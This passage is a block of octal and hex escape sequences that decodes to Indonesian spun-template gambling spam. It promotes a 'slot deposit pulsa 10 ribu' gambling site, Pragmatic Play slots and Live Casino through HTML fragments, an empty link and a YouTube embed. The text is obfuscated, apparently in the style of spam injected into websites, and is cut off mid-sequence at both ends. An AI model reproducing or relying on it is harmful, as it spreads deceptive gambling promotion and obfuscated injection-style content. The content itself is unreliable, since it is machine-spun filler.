x65\x6e\151\163\175\x20\173\147\x61\x6d\145\174\160\145\x72\155\141\x69\156\141\x6e\x7d\40\171\141\x6e\147\x20\173\x73\x75\144\141\150\174\x75\x64\x61\150\x7d\40\153\x61\x6d\151\x20\173\x70\145\162\163\x69\141\160\x6b\x61\156\x7d\x20\x7b\144\151\40\144\141\x6c\x61\155\x7c\144\141\x6c\x61\x6d\x7c\x70\141\x64\141\175\x20\61\40\173\141\143\143\157\x75\156\x74\x7d\56\40\x7b\112\141\144\151\x7d\40\141\x6e\x64\x61\x20\173\x64\x61\160\141\x74\40\142\x65\x72\x73\141\x6d\141\x7c\144\x61\160\141\164\x20\x62\145\x72\163\141\155\141\x2d\163\141\x6d\141\x7c\x62\151\163\141\x20\142\145\x72\163\141\155\141\x2d\163\141\155\x61\x7d\x20\x64\145\156\147\x61\156\x20\142\x65\x72\x73\x61\155\141\40\x64\x65\x6e\x67\141\x6e\40\x62\x65\142\x61\x73\40\173\165\x6e\164\165\x6b\x7c\x62\x75\141\164\175\40\173\x74\145\156\x74\165\153\x61\156\x7c\x70\x75\x74\165\163\x6b\141\x6e\175\x20\173\144\x61\x6e\174\x73\x65\162\x74\x61\x7d\x20\x7b\x62\145\x72\x6d\x61\x69\x6e\174\x6d\x61\151\x6e\x7d\x20\173\x70\x61\x64\141\x7c\144\151\x7d\40\173\147\x61\x6d\x65\174\160\145\x72\155\x61\151\x6e\x61\156\175\40\173\x61\160\141\175\40\171\141\156\x67\40\141\156\144\141\x20\x7b\x73\165\x6b\141\x7c\160\x75\141\x73\175\40\x62\145\x72\x73\141\155\x61\x20\144\x65\x6e\x67\x61\x6e\x20\x62\145\x72\x73\x61\155\x61\40\144\145\156\x67\x61\x6e\40\173\164\145\162\154\141\x6c\x75\175\x20\173\x6d\165\x64\x61\x68\x7c\162\151\156\x67\141\x6e\x7c\147\x61\x6d\x70\141\156\x67\175\40\x73\x65\153\x61\x6c\151\x2e\x20\x4b\x61\155\x75\40\173\155\145\x6e\143\165\153\165\x70\x69\x7c\154\141\171\x61\x6b\175\40\x64\141\x66\164\141\x72\x20\x31\40\x7b\160\145\155\141\153\x61\x69\x7d\40\x6e\x61\155\145\40\x73\141\152\141\x2c\x20\173\153\141\x72\x65\x6e\x61\x20\151\x74\x75\x7c\x6a\x61\x64\151\174\153\141\162\x65\156\141\x6e\171\x61\175\x20\x61\x6e\x64\141\40\x7b\163\165\144\x61\150\x7c\x75\144\141\x68\175\40\x7b\x73\141\150\175\x20\x7b\x74\145\x72\147\x61\142\165\156\x67\174\x6d\x61\163\165\153\x7d\x20\x62\x65\x72\x73\141\x6d\141\40\144\145\x6e\x67\141\x6e\40\142\145\162\163\141\x6d\x61\x20\x64\x65\x6e\x67\x61\156\40\x61\x67\145\x6e\x20\152\165\144\x69\x20\163\154\x6f\x74\x20\144\x65\160\157\x73\x69\164\40\160\165\x6c\163\x61\x20\x31\x30\40\162\x62\x20\164\141\156\x70\x61\x20\160\157\164\x6f\x6e\147\141\156\56\40\x7b\x53\145\164\x65\x6c\141\x68\x7c\123\145\x68\141\x62\x69\163\174\123\145\154\145\160\x61\163\x7d\40\173\151\x74\165\175\x2c\x20\141\156\x64\141\40\173\144\141\160\x61\164\x7d\x20\173\x74\x65\x72\x68\165\142\x75\x6e\147\x7c\155\x65\x6d\x62\165\x6b\141\175\40\x7b\x73\145\x6d\x75\x61\x7c\163\x65\155\165\141\156\171\141\174\163\x65\154\x75\x72\165\x68\156\171\141\175\40\173\x67\x61\x6d\x65\174\160\x65\x72\x6d\141\151\x6e\141\156\175\40\163\154\157\x74\x20\173\x74\x65\162\160\145\x6e\x74\x69\156\x67\x7c\x74\145\x72\165\164\x61\x6d\x61\x7d\40\144\x69\x20\x49\156\144\x6f\x6e\145\163\x69\x61\x2e\74\57\x70\x3e\x3c\160\x3e\x7b\123\145\x6c\x61\151\156\40\151\164\x75\174\123\145\x6c\141\x69\x6e\40\x74\x65\162\x73\145\x62\x75\x74\174\123\x65\x6d\145\x6e\x74\x61\162\x61\40\151\x74\x75\x7d\x2c\40\123\x69\x74\165\163\x20\112\x75\x64\x69\40\163\154\x6f\164\40\144\x65\x70\157\163\x69\164\x20\160\165\x6c\163\141\40\x31\60\x72\151\x62\x75\x20\x74\x61\156\160\x61\40\x70\x6f\x74\x6f\x6e\x67\141\156\40\142\145\153\145\162\152\141\40\x32\64\x20\x6a\141\x6d\x20\x66\x75\x6c\154\40\173\x73\145\x74\151\x61\160\x7c\x74\151\x61\160\55\x74\x69\x61\160\175\40\x68\x61\x72\151\x2c\173\x73\141\155\x70\x61\x69\x7d\40\160\x65\x6d\141\x69\x6e\x20\173\x64\141\x70\141\x74\40\x62\145\x72\163\x61\x6d\141\174\x64\141\x70\x61\164\40\x62\145\x72\163\141\x6d\141\55\163\141\x6d\141\174\142\151\x73\141\40\x62\145\162\163\x61\x6d\x61\x2d\163\141\155\x61\x7d\x20\x64\145\156\147\x61\x6e\40\142\145\142\141\x73\40\x7b\x75\156\164\165\x6b\174\x62\165\141\164\x7d\40\173\164\x65\156\x74\165\x6b\x61\x6e\174\155\145\x6d\141\163\164\151\x6b\x61\x6e\x7c\164\145\x6e\x74\x75\x6b\x61\156\175\x20\173\x6b\x65\x74\151\153\x61\40\x62\145\162\155\141\151\156\x7d\x20\x79\141\x6e\x67\40\x7b\x74\145\160\x61\164\x7c\x70\x72\145\x73\151\163\151\x7d\x2e\x20\123\141\155\x61\40\173\x73\x61\141\x74\x7c\167\141\x6b\x74\165\175\x20\171\141\156\147\40\x6e\x79\x61\x74\x61\x2d\x6e\x79\141\164\141\40\160\154\x61\163\x74\151\x73\x2c\x20\x61\156\x64\x61\x20\x7b\164\145\x6e\x74\165\174\152\x65\154\x61\163\x7c\x6e\171\x61\x74\141\x7c\160\x61\x73\x74\x69\x6e\171\141\x7c\160\141\163\x74\x69\154\141\x68\175\x20\x7b\x64\141\160\141\x74\175\40\173\146\x6f\x6b\x75\x73\175\x20\173\165\x6e\164\x75\x6b\x7c\142\165\x61\164\x7d\40\x7b\142\145\x72\x6d\141\x69\156\174\x6d\141\x69\x6e\x7d\40\x73\x6c\x6f\x74\x20\144\x65\160\x6f\x73\151\164\40\x70\165\x6c\163\x61\x20\173\x64\x61\156\x7c\x73\145\x72\164\x61\175\x20\x62\145\x73\141\x72\40\173\x6b\x65\155\141\165\141\x6e\174\141\155\x62\151\x73\151\x7c\156\x69\x61\x74\175\x20\153\141\x6d\x69\40\173\141\x67\141\162\174\x62\151\x61\x72\175\x20\x61\x6e\x64\x61\40\173\144\x61\160\141\164\x7d\40\x7b\155\x65\156\x64\141\160\141\164\153\x61\x6e\174\155\145\x6d\x70\x65\x72\x6f\x6c\x65\x68\175\40\173\x68\141\x73\x69\154\x20\154\x65\142\x69\150\174\150\x61\163\151\x6c\40\163\x65\x6d\141\x6b\x69\x6e\x7c\150\x61\x73\x69\x6c\x20\155\141\x6b\x69\x6e\174\150\x61\x73\x69\x6c\x20\x79\x61\x6e\x67\x20\163\x65\x6d\x61\153\151\x6e\174\150\x61\163\151\154\x20\x79\x61\156\147\40\x6d\x61\x6b\151\x6e\175\x20\142\x61\x67\x75\163\40\x64\151\x20\163\x69\x6e\151\x2e\74\x2f\160\76\74\x68\62\x3e\123\154\x6f\164\x20\x47\141\143\x6f\x72\x20\x7b\123\151\x74\x75\x73\174\x4c\x69\156\x6b\x7c\101\147\145\156\x7c\x42\x61\x6e\144\x61\162\174\x42\157\x7d\x20\112\x75\144\151\40\x53\x6c\157\164\x20\x44\x65\160\157\x73\x69\x74\40\120\165\x6c\x73\141\40\61\60\x20\x52\151\x62\x75\74\x2f\x68\62\76\x3c\x64\151\166\x20\x63\154\141\x73\163\x3d\x22\x63\157\x6e\x74\141\x69\156\145\162\42\76\x3c\151\146\x72\141\155\145\40\x61\154\x6c\x6f\x77\75\42\141\143\143\x65\154\145\162\157\155\145\x74\145\x72\x3b\40\x61\165\x74\157\160\x6c\x61\x79\x3b\40\x63\x6c\x69\x70\x62\157\x61\162\x64\55\x77\162\151\x74\x65\73\40\145\x6e\x63\162\171\x70\164\x65\144\55\x6d\x65\x64\151\141\x3b\x20\147\171\x72\x6f\163\x63\x6f\160\x65\x3b\40\x70\x69\x63\x74\x75\162\x65\55\151\x6e\55\160\x69\x63\164\165\162\145\42\x61\154\154\x6f\x77\146\165\x6c\154\163\143\x72\x65\x65\156\40\146\162\141\155\x65\142\x6f\162\x64\x65\162\x3d\x22\x30\x22\x68\x65\x69\147\x68\164\75\x22\63\x31\x35\x22\x73\162\143\75\42\x68\x74\x74\160\163\x3a\x2f\x2f\x77\167\167\x2e\171\157\x75\x74\165\142\x65\56\x63\157\155\x2f\x65\x6d\142\x65\144\x2f\x59\x57\142\156\x75\116\x73\113\x5a\112\x59\x22\164\x69\164\154\x65\x3d\x22\104\x65\x70\157\x73\151\x74\x20\120\x75\154\x73\141\x20\x54\141\156\x70\x61\x20\120\x6f\164\x6f\x6e\x67\141\156\x22\167\x69\x64\x74\x68\75\x22\65\66\x30\42\76\74\57\151\x66\x72\141\155\x65\76\74\x2f\144\x69\x76\x3e\74\160\x3e\x41\x67\x65\156\40\163\x6c\x6f\164\x20\x64\x65\160\x6f\x73\x69\164\x20\x70\165\154\x73\x61\x20\173\x69\x61\x6c\x61\x68\x7c\x79\x61\x69\164\x75\174\x6d\x65\x72\x75\x70\141\x6b\141\156\174\x79\141\153\156\151\x7d\x20\74\x61\40\150\x72\x65\x66\75\x22\x22\x3e\x73\151\x74\x75\x73\x20\152\x75\x64\x69\x20\x73\154\157\164\x3c\57\141\x3e\40\173\155\165\144\x61\x68\174\x72\x69\x6e\147\x61\156\x7c\x65\156\164\x65\x6e\147\x7d\x20\155\x65\x6e\x61\156\x67\40\144\x65\x70\x6f\x73\x69\164\40\120\x75\x6c\163\141\x20\x54\145\x6c\x6b\x6f\155\x73\145\x6c\40\x79\141\x6e\x67\40\x7b\x64\151\x74\141\x6d\x62\x61\x68\153\x61\156\174\144\151\164\141\x6d\142\x61\150\x20\154\x61\147\x69\x7d\40\x62\145\162\x73\141\155\x61\40\144\x65\x6e\x67\141\156\x20\x62\145\162\x73\x61\x6d\141\x20\173\154\x65\142\151\150\174\x64\145\156\x67\141\x6e\x7d\x20\x73\x61\x74\165\x20\x72\141\x74\165\163\x20\x7b\x6d\157\144\x65\x6c\x7c\x73\x74\171\154\x65\174\x67\141\171\x61\x7d\x20\160\x65\162\155\x61\x69\156\x61\156\40\164\x61\x72\165\150\x61\x6e\x20\x6a\165\x64\x69\40\x7b\164\x65\162\153\157\x6d\160\154\145\x74\x7d\56\40\x44\x69\x20\155\141\x6e\141\40\x7b\160\x65\x6e\165\150\x69\x7d\x20\173\163\145\153\x65\144\141\x72\174\x73\145\x62\141\164\141\163\174\x63\165\155\x61\x6e\174\163\145\155\141\164\141\x2d\155\x61\164\x61\x7d\40\x62\x65\x72\x73\x61\155\x61\x20\144\x65\156\147\141\x6e\x20\142\145\x72\163\x61\155\x61\x20\144\145\x6e\x67\141\156\40\144\145\x70\x6f\163\x69\164\40\61\60\x20\162\x69\142\x75\x20\163\141\152\141\40\x61\156\x64\141\x20\x7b\163\145\x6d\x75\141\x7c\x73\145\x6d\165\141\x6e\171\141\x7c\x73\x65\x6c\165\x72\165\x68\156\171\x61\x7d\x20\x7b\142\145\x72\x70\x65\x6c\165\141\x6e\x67\x7c\x6d\x65\155\151\x6c\151\x6b\151\x20\x6b\145\x73\145\155\160\141\164\141\x6e\x7c\155\151\154\x69\x6b\x69\x20\153\x65\163\x65\x6d\x70\x61\x74\141\156\x7c\160\165\x6e\x79\141\x20\153\x65\163\x65\x6d\160\x61\164\x61\156\x7d\x20\173\165\156\164\165\153\174\x62\165\141\x74\x7d\x20\x7b\155\x65\x6d\x65\x6e\x61\156\147\151\174\152\x61\x64\x69\x20\160\145\155\x65\156\141\x6e\x67\174\155\145\x6e\x6a\x61\144\x69\40\160\x65\x6d\x65\x6e\x61\156\x67\174\x6d\145\162\141\151\150\40\153\145\155\x65\156\141\x6e\x67\x61\156\175\x20\x7b\x6a\145\x6b\160\x6f\x74\175\x20\x53\154\x6f\x74\x20\120\x75\154\163\x61\x20\124\x65\x6c\x6b\157\x6d\163\145\154\40\173\124\141\156\160\x61\x7c\x54\x61\x6e\x70\141\x20\141\x64\x61\x7c\124\x69\x61\144\141\175\x20\120\157\x74\157\156\x67\x61\156\40\x73\145\x63\x61\x72\141\40\173\155\165\144\x61\x68\174\162\151\156\147\141\x6e\174\147\x61\155\x70\141\x6e\x67\x7d\x20\x7b\163\x61\155\160\x61\151\174\150\x69\156\x67\x67\x61\x7c\150\151\x6e\147\147\x61\40\x73\x61\x6d\160\x61\x69\175\x20\x6c\x65\142\151\x68\x20\163\141\x74\x75\x20\x70\x75\x6c\165\x68\40\152\x75\164\141\x20\x72\165\160\151\141\x68\x2e\x3c\57\x70\x3e\x3c\x70\x3e\x7b\104\151\163\141\155\160\x69\156\147\x20\151\164\x75\x7c\x44\x69\x6c\x75\x61\162\x20\151\164\165\x7c\x54\151\144\141\x6b\40\x68\x61\156\x79\x61\x20\x69\164\165\174\x54\145\x72\x6b\145\x63\165\141\154\x69\x20\151\164\x75\x7d\x2c\x20\173\x73\x61\162\141\156\x61\174\154\141\x79\x61\x6e\x61\x6e\175\40\171\x61\156\147\40\x7b\x64\151\x62\x65\x72\151\x7c\144\151\x6b\141\x73\x69\150\153\141\156\x7d\40\x6f\x6c\145\150\40\163\151\164\x75\163\40\152\165\144\151\40\163\154\157\x74\x20\x7b\164\x65\162\x62\141\x69\153\174\163\x61\x6e\147\x61\x74\x20\x62\x61\151\x6b\x7c\x70\x61\x6c\151\x6e\x67\x20\x62\141\147\165\163\175\x20\x7b\144\141\156\x7c\x73\145\162\164\141\175\40\173\x70\x61\154\151\156\147\40\144\x69\x70\145\162\143\141\x79\x61\174\x62\x69\163\x61\40\x64\151\160\x65\162\143\141\x79\x61\174\144\141\x70\141\x74\x20\144\x69\160\145\162\143\141\171\141\175\x20\173\153\157\155\160\154\145\x74\175\54\40\173\142\x75\x6b\x61\x6e\x20\x68\x61\156\x79\x61\x7c\x74\x69\144\x61\153\40\150\x61\x6e\x79\x61\174\x62\x75\153\x61\156\40\x63\x75\155\x61\174\x74\151\x64\x61\x6b\x20\x73\x65\x6b\145\144\141\162\x7c\142\165\153\x61\x6e\40\x73\x65\x6b\145\x64\141\x72\x7d\40\x7b\163\151\x61\x70\153\141\x6e\174\163\141\152\x69\x6b\141\156\175\x20\x73\x6c\x6f\164\x20\x50\165\154\163\x61\x20\x54\145\154\x6b\x6f\x6d\163\x65\x6c\x20\171\x61\x6e\147\40\x7b\x6b\145\x72\141\160\175\40\173\x6d\145\155\142\x65\x72\x69\153\x61\156\x7c\142\x65\x72\x69\x6b\x61\156\x7c\x6d\x65\x6d\x62\145\162\x69\156\171\x61\175\40\164\141\155\x62\x61\150\141\156\x20\173\164\x69\144\x61\153\x7c\164\x61\x6b\x7d\x20\x7b\x74\x65\x72\x68\x69\164\x75\x6e\x67\174\x74\x65\162\x67\x6f\x6c\157\156\147\x7c\164\x65\162\155\x61\153\163\165\x64\x7d\x20\x7b\x6a\145\x6b\160\157\164\175\x20\x62\145\162\163\141\155\141\40\x7b\142\x65\x72\160\x65\x72\x66\x6f\x72\155\x61\174\155\x65\x6d\151\x6c\x69\153\x69\x20\160\145\162\x66\x6f\162\155\x61\174\x6d\145\155\160\x75\x6e\x79\141\x69\x20\x70\145\162\146\x6f\162\155\141\x7d\40\x7b\164\x65\162\x62\x61\162\165\174\x74\145\162\141\156\x79\x61\162\174\x74\x65\162\x6b\151\x6e\151\x7c\x74\145\x72\141\x6b\x68\x69\162\x7d\x20\x7b\144\141\x6e\174\x73\145\x72\164\141\x7d\40\155\x65\156\x61\x72\x69\153\x2c\40\x7b\x73\x74\151\155\x75\154\x61\x73\x69\x7c\x69\x6e\x73\145\156\164\151\146\174\160\145\x72\141\x6e\147\x73\x61\156\x67\174\144\x6f\162\x6f\156\x67\141\156\x7c\x69\155\x70\x75\x6c\163\175\40\171\141\x6e\147\40\x6b\x61\155\x69\40\173\155\x65\x6d\142\x65\162\151\x7c\x6d\x65\155\x62\145\x72\x69\156\x79\x61\x7c\142\145\162\151\x6b\141\x6e\175\40\x7b\x64\x61\x70\x61\x74\175\x20\173\x64\x69\163\x65\142\x75\x74\x7c\144\x69\x6a\145\154\x61\163\x6b\x61\x6e\x7c\144\x69\153\x61\x74\141\153\x61\x6e\175\x20\x7b\x70\x61\154\x69\x6e\147\40\x74\x69\x6e\147\147\151\175\x20\x7b\144\x61\x6e\x7c\x73\145\x72\164\141\175\40\x7b\142\165\x6b\x61\156\x20\x68\x61\156\171\141\x7c\164\x69\144\x61\153\x20\x68\x61\x6e\171\141\x7c\x62\165\153\x61\156\x20\x63\165\x6d\141\174\164\x69\144\141\x6b\x20\163\145\153\145\x64\141\162\174\142\165\x6b\x61\x6e\40\x73\x65\x6b\x65\144\x61\162\x7d\x20\x6f\155\x6f\x6e\x67\40\x6b\157\163\x6f\x6e\x67\x2e\x20\101\x70\141\x20\173\163\141\162\x61\x6e\x61\x7c\x6c\x61\171\141\156\141\156\175\x20\173\144\x61\156\x7c\x73\145\162\164\141\175\x20\173\163\x61\x72\141\156\141\x7c\154\x61\171\x61\x6e\x61\x6e\175\x20\171\141\x6e\x67\x20\173\144\x69\163\x69\141\x70\x6b\x61\x6e\x7d\40\157\x6c\x65\x68\40\x7b\167\x65\142\163\151\164\x65\174\163\x69\x74\165\163\174\167\x65\142\55\x73\x69\164\145\x7d\x20\152\x75\144\x69\x20\163\154\x6f\x74\x2e\x3c\x2f\x70\76\x3c\x70\x3e\x42\x65\162\x73\x61\155\141\40\x62\x65\x72\x73\141\155\141\40\144\145\x6e\147\x61\x6e\40\104\x61\146\x74\x61\162\x20\x73\154\157\x74\x20\x31\x30\x20\162\165\x70\151\141\150\40\173\x64\x69\40\167\145\x62\163\151\x74\145\x7c\144\141\x6c\141\x6d\x20\x77\x65\x62\163\x69\164\145\174\144\141\154\141\x6d\x20\x77\x65\x62\x7c\x64\151\x20\167\x65\x62\x7c\160\141\x64\x61\x20\167\145\142\163\x69\164\145\x7c\160\141\144\141\x20\167\x65\142\175\x20\152\165\x64\x69\x20\x73\154\x6f\164\40\x7b\160\141\154\x69\x6e\x67\40\144\x69\160\x65\162\x63\x61\171\141\x7c\142\x69\x73\141\x20\144\151\x70\145\162\143\x61\171\141\174\x64\141\160\141\164\x20\x64\151\x70\145\x72\x63\141\x79\x61\175\x20\141\x6e\x64\141\40\173\x64\141\160\141\x74\x7d\x20\x7b\x6d\145\x6d\160\145\162\157\x6c\x65\150\174\155\x65\x6e\x64\141\x70\x61\164\x7c\155\x65\x6e\x64\x61\x70\141\x74\151\x7d\x20\173\x75\141\156\x67\x7c\144\x75\167\151\164\x7d\x20\x79\x61\156\147\40\173\153\141\x72\x65\x6e\x61\174\x73\145\x62\141\x62\174\x6c\x61\x6e\x74\141\x72\x61\x6e\x7d\40\160\145\162\155\141\151\x6e\x61\x6e\40\x73\x6c\157\164\40\173\144\141\x70\x61\x74\x7d\40\x7b\144\151\x74\165\x6e\152\165\x6b\153\x61\x6e\x7c\144\x69\x70\x61\x73\164\151\x6b\141\156\x7c\144\151\156\x79\x61\x74\x61\x6b\141\x6e\x7d\x20\x7b\163\x65\142\141\147\141\x69\174\163\145\154\x61\x6b\x75\174\152\x61\144\151\x7c\155\x65\156\x6a\141\x64\151\x7d\40\160\145\x72\155\141\x69\156\141\156\x20\171\141\156\147\x20\173\155\x75\144\x61\150\174\162\151\x6e\x67\141\x6e\174\147\141\155\x70\x61\x6e\x67\x7d\x20\x6d\x65\156\x61\156\x67\40\x7b\144\x61\x6e\x7c\x73\145\162\x74\141\175\x20\173\x73\164\151\x6d\x75\x6c\141\x73\x69\x7c\151\x6e\163\x65\156\x74\151\x66\x7c\x70\x65\x72\141\x6e\147\x73\141\x6e\x67\174\x64\157\x72\x6f\x6e\x67\141\x6e\x7c\x69\155\x70\x75\x6c\163\x7d\x20\x79\141\156\147\40\173\x64\151\144\x61\x70\x61\164\x7c\144\151\160\145\162\x6f\154\x65\150\x7c\144\151\164\x65\x72\x69\x6d\x61\x7d\40\173\x62\145\162\153\165\156\152\x75\x6e\147\x7c\144\141\164\141\156\147\174\x6d\141\x6d\160\151\x72\175\x20\142\x65\x72\x61\x73\141\154\40\173\144\151\x73\x69\x6e\x69\175\40\x7b\x73\x65\155\141\x6b\151\x6e\40\x62\145\x73\141\162\x7c\x62\145\162\x74\141\155\142\141\x68\40\x62\x65\163\x61\162\174\x6d\141\153\151\156\x20\142\145\x73\141\x72\175\x20\x7b\152\x75\x67\x61\56\x7d\40\x7b\x54\x69\x64\141\x6b\40\150\x61\x6e\171\141\174\124\x69\144\141\x6b\40\x73\145\x6b\x65\144\141\162\x7c\x42\165\x6b\x61\156\40\x73\x65\153\145\144\x61\x72\174\x42\165\153\x61\156\x20\x68\x61\156\x79\x61\174\x54\x69\x64\141\153\x20\143\165\x6d\x61\175\40\141\156\x64\141\40\x7b\144\x61\160\141\x74\175\40\x7b\x62\x65\162\x6d\x61\x69\156\x7c\x6d\141\x69\156\x7d\40\x73\154\x6f\x74\x2c\40\141\144\x61\x20\x70\x65\162\x6d\x61\x69\x6e\141\156\40\164\x65\155\142\x61\153\x20\x69\x6b\x61\x6e\x20\173\x64\141\x6e\174\x73\x65\x72\164\x61\x7d\x20\x4c\151\x76\145\40\173\x43\141\x73\x69\x6e\x6f\175\x20\x62\145\x72\163\141\x6d\141\40\x7b\144\145\156\x67\x61\x6e\x20\x68\x61\x6e\171\x61\174\144\145\x6e\x67\x61\x6e\x7c\144\x65\x6e\x67\141\x6e\x20\x63\165\x6d\141\x6e\174\143\x75\155\141\156\x7d\40\x73\145\x6b\x61\154\151\40\x64\x61\146\164\x61\x72\x20\163\141\x6a\141\56\x20\x7b\x43\165\155\141\x7c\x43\x75\155\141\x6e\175\x20\173\x67\165\156\141\x6b\141\x6e\174\160\x61\153\x61\151\175\x20\61\x20\173\120\145\156\x67\x67\x75\x6e\x61\175\x20\111\x44\40\163\x61\x6a\x61\40\141\x6e\144\141\x20\173\x64\x61\160\x61\x74\x7d\40\x7b\x62\145\x72\x6d\141\151\x6e\x7c\155\141\151\x6e\175\x20\173\x73\145\155\165\x61\x7c\x73\145\x6d\165\x61\156\x79\141\174\163\145\x6c\165\x72\165\x68\156\x79\x61\x7d\40\160\x65\162\x6d\x61\151\156\x61\156\x20\173\144\151\155\165\154\x61\151\x7c\144\x69\x20\155\x75\x6c\x61\151\174\144\x69\141\x77\x61\154\x69\x7d\x20\173\x64\x61\164\141\x6e\147\x20\144\x61\162\151\174\x61\163\141\x6c\40\144\141\162\x69\x7c\x62\x65\x72\x61\x77\141\x6c\x20\x64\141\162\x69\x7d\40\x7b\147\141\x6d\x65\174\160\145\162\x6d\141\x69\x6e\141\156\175\x20\x73\154\x6f\164\40\142\157\156\141\x6e\172\x61\54\40\142\145\164\x74\151\156\x67\40\142\x6f\154\x61\54\x20\164\x61\162\165\150\141\x6e\x20\163\x61\142\x75\156\147\x20\x61\171\141\x6d\54\40\163\x2f\144\40\x74\x65\155\x62\141\x6b\40\x69\153\141\x6e\x20\155\x69\x6e\x20\144\145\x70\157\x20\65\162\x62\x20\x73\141\152\x61\x20\x7b\x67\x75\x79\163\x7d\74\57\x70\76\x3c\160\76\173\112\141\144\x69\175\x20\173\x70\x69\154\x69\x68\141\x6e\x7d\40\x79\141\156\147\40\x7b\160\141\x73\174\x63\x6f\143\157\x6b\174\x62\145\x6e\x61\162\x7d\40\x62\165\x61\164\40\x7b\142\x65\x72\147\141\142\x75\156\x67\174\164\145\x72\153\x65\154\157\155\x70\x6f\153\174\142\145\x72\153\x75\x6d\x70\165\154\x7c\164\145\x72\x68\x69\155\x70\x75\x6e\x7d\x20\x62\145\x72\x73\141\x6d\141\40\144\x65\x6e\147\141\x6e\40\141\x67\145\x6e\40\x73\x6c\x6f\x74\x20\144\x65\160\x6f\x73\x69\164\x20\61\60\40\x72\151\142\165\x20\x7b\160\x61\x6c\151\156\x67\x20\x64\x69\160\145\x72\x63\141\171\x61\174\142\x69\163\x61\40\144\151\160\x65\x72\x63\x61\171\141\x7c\144\141\160\x61\x74\40\x64\x69\160\x65\x72\x63\x61\171\x61\x7d\x20\164\141\x6e\160\141\x20\160\157\164\x6f\156\x67\141\x6e\40\171\x61\156\147\40\x7b\x64\141\160\x61\164\x7d\x20\x7b\142\141\167\x61\175\x20\x7b\x69\x6d\x62\141\x73\x7c\x70\145\156\x67\141\162\165\150\174\x65\x66\145\x6b\174\x72\x65\163\x69\x6b\x6f\x7d\40\141\156\144\141\40\173\153\145\162\152\x61\153\141\x6e\174\154\141\x6b\x75\x6b\141\156\x7c\152\141\154\x61\156\x6b\141\x6e\175\40\x74\141\x72\x75\x68\141\156\40\152\165\x64\151\40\x62\x6f\x6c\x61\x20\142\145\x72\x73\x61\155\x61\x20\x64\145\156\x67\141\x6e\40\141\155\x61\x6e\40\142\145\162\x73\x61\155\x61\x20\x64\145\x6e\x67\x61\x6e\56\40\173\x4a\x61\x6e\147\x61\156\x7d\x20\x7b\162\141\147\x75\174\x63\165\x72\151\x67\141\x7d\40\173\165\156\x74\x75\153\x7c\x62\x75\141\x74\x7d\x20\173\142\x65\162\147\x61\142\165\156\x67\x7c\164\145\162\153\x65\154\x6f\x6d\160\x6f\153\x7c\x62\145\x72\x6b\165\x6d\x70\165\154\x7c\x74\x65\162\150\x69\x6d\160\165\156\175\40\123\151\164\165\163\x20\x4a\165\144\151\x20\123\154\157\164\x20\104\x65\160\157\x73\x69\x74\40\120\165\x6c\163\141\x20\x31\x30\x20\x52\151\142\165\40\x74\141\x6e\x70\141\40\160\x6f\x74\x6f\x6e\147\x61\156\x20\x7b\x50\x61\x6c\x69\156\x67\40\144\151\160\145\162\143\141\171\x61\x7c\102\151\163\141\40\x64\151\x70\x65\x72\143\x61\x79\x61\174\x44\141\160\141\x74\40\x64\151\x70\x65\162\143\x61\x79\x61\x7d\x20\173\155\145\154\x61\154\x75\151\175\40\x70\x72\157\166\151\x64\x65\x72\x20\120\x72\141\x67\155\141\164\151\143\40\120\x6c\x61\171\40\107\x61\x63\157\x72\x20\171\141\x6e\147\x20\x7b\164\x69\144\x61\x6b\x7c\164\141\x6b\175\x20\173\x64\151\x72\141\x67\x75\x6b\141\x6e\174\144\x69\x6b\165\141\164\151\x72\153\x61\x6e\175\x20\x7b\153\x65\153\x75\141\164\141\x6e\174\153\141\160\x61\142\151\154\151\164\141\163\174\153\145\142\x6f\154\145\150\x61\156\x7c\x70\x6f\164\x65\156\163\151\x7d\40\173\x64\x69\40\144\x61\x6c\141\155\x7c\x64\141\154\x61\155\x7c\x70\141\144\141\175\40\x7b\x73\x65\x72\x76\x69\x63\x65\x7d\40\x7b\x73\x61\x72\x61\156\141\174\154\141\171\141\156\141\x6e\x7d\x20\x7b\x63\165\163\x74\157\x6d\x65\162\174\160\145\154\141\156\147\147\141\156\x7c\x70\x65\155\x62\x65\x6c\151\x7d\x20\62\64\40\152\x61\155\x20\x79\x61\x6e\x67\x20\x7b\144\x61\160\141\x74\x7d\40\173\x6d\x65\156\x6f\154\x6f\156\x67\x7d\x20\153\141\x6d\165\56\x20\173\123\x75\144\x61\150\174\x55\x64\141\x68\x7d\40\x62\x61\156\171\141\153\x20\173\160\x65\155\142\x61\x68\x61\163\141\x6e\174\x70\x65\156\152\x65\x6c\141\x73\x61\156\x7c\162\x65\166\x69\x65\x77\174\x75\x72\141\151\x61\x6e\175\x20\x7b\164\145\162\x6c\145\x62\x69\x68\175\40\173\x74\x65\x72\x68\151\164\165\156\x67\174\164\145\x72\147\157\x6c\x6f\156\x67\174\x74\145\x72\x6d\141\x6b\x73\x75\x64\x7d\x20\173\165\x6c\x61\x73\141\156\174\x70\x65\156\x67\x6b\141\152\x69\x61\x6e\174\160\x65\155\x62\x69\143\x61\162\x61\x61\x6e\174\153\x61\x6a\x69\141\x6e\x7d\40\173\x73\145\142\x61\x67\141\151\x7c\163\x65\154\x61\x6b\165\x7c\x6a\141\144\x69\x7c\155\x65\156\152\141\x64\151\175\x20\142\x75\x6b\x74\x69\40\173\165\156\164\165\x6b\174\142\x75\x61\164\175\40\x7b\x73\145\x6d\165\141\174\163\145\155\165\x61\x6e\171\141\x7c\163\x65\154\x75\162\165\150\156\171\x61\175\x20\x6b\x65\155\145\x6e\141\x6e\x67\x61\x6e\40\173\x62\x65\x72\x61\160\x61\160\x75\156\175\40\x62\145\x73\x61\x72\x6e\x79\141\x20\173\x73\145\x6c\x61\x6c\x75\x7c\x74\145\162\165\x73\55\x6d\145\x6e\145\x72\165\163\175\40\x7b\144\x69\142\x61\171\x61\162\x7d\40\173\164\x61\x6e\x70\x61\174\x74\x61\156\x70\x61\40\141\x64\x61\x7c\164\151\141\144\x61\175\40\173\150\141\x72\x75\x73\x7d\x20\x7b\x74\x75\156\x67\x67\165\175\x20\x6c\141\x6d\141\56\x3c\x2f\160\x3e\x3c\150\62\x3e\101\147\145\156\x20\x53\151\x74\165\x73\40\x4a\x75\x64\151\x20\123\154\x6f\164\x20\104\x65\160\157\x73\151\164\x20\120\x75\154\x73\x61\40\61\x30\40\122\x69\142\165\x20\x64\x65\156\x67\x61\156\x20\x72\141\x74\x65\40\x4b\x65\155\145\156\x61\156\147\x61\156\40\173\120\x61\154\x69\156\147\x20\164\x69\x6e\x67\x67\151\175\74\x2f\x68\x32\x3e\74\x70\76\x53\151\164\165\x73\x20\x6a\x75\x64\x69\x20\x73\x6c\x6f\164\x20\173\160\141\154\151\156\x67\40\x